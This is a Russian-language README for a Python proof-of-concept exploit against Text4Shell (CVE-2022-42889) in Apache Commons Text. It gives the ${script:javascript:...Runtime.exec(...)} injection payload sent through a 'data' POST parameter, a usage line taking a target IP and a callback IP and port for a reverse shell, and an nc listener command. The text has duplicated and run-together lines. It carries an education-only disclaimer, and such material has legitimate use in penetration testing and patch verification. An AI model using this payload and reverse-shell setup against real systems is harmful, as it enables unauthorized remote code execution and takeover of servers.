
Пользовательский эксплойт proof-of-concept (PoC) на Python, нацеленный на Text4Shell (CVE-2022-42889), критическую уязвимость удаленного выполнения кода в версиях Apache Commons Text < 1.10.
Пользовательский proof-of-concept (PoC) эксплойт на Python, нацеленный на уязвимость Text4Shell (CVE-2022-42889) — критическую уязвимость удаленного выполнения кода в Apache Commons Text версий < 1.10.
Данный эксплойт атакует уязвимые Java-приложения, использующие класс StringSubstitutor с включенной интерполяцией, что позволяет внедрять выражения ${script:...} для выполнения произвольных системных команд.
В этом PoC эксплуатация демонстрируется через параметр запроса data; однако имя уязвимого параметра может различаться в зависимости от реализации. Пользователям следует адаптировать полезную нагрузку и путь запроса в соответствии с логикой целевого приложения.
Отказ от ответственности: Данный эксплойт предоставлен только для образовательных целей и авторизованного тестирования на проникновение. Используйте ответственно и на свой страх и риск.
Это пользовательский эксплойт на Python3 для уязвимости Apache Commons Text, известной как Text4Shell (CVE-2022-42889). Он позволяет удаленное выполнение кода (RCE) через небезопасные интерполяторы, когда пользовательский ввод динамически обрабатывается StringSubstitutor.
Протестировано на:
${script:...} из недоверенного вводаpython3 text4shell.py <target_ip> <callback_ip> <callback_port>
python3 text4shell.py 127.0.0.1 192.168.1.2 4444
nc -nlvp 4444
Скрипт внедряет:
${script:javascript:java.lang.Runtime.getRuntime().exec(...)}
Обратный шелл отправляется через параметр /data с помощью POST-запроса.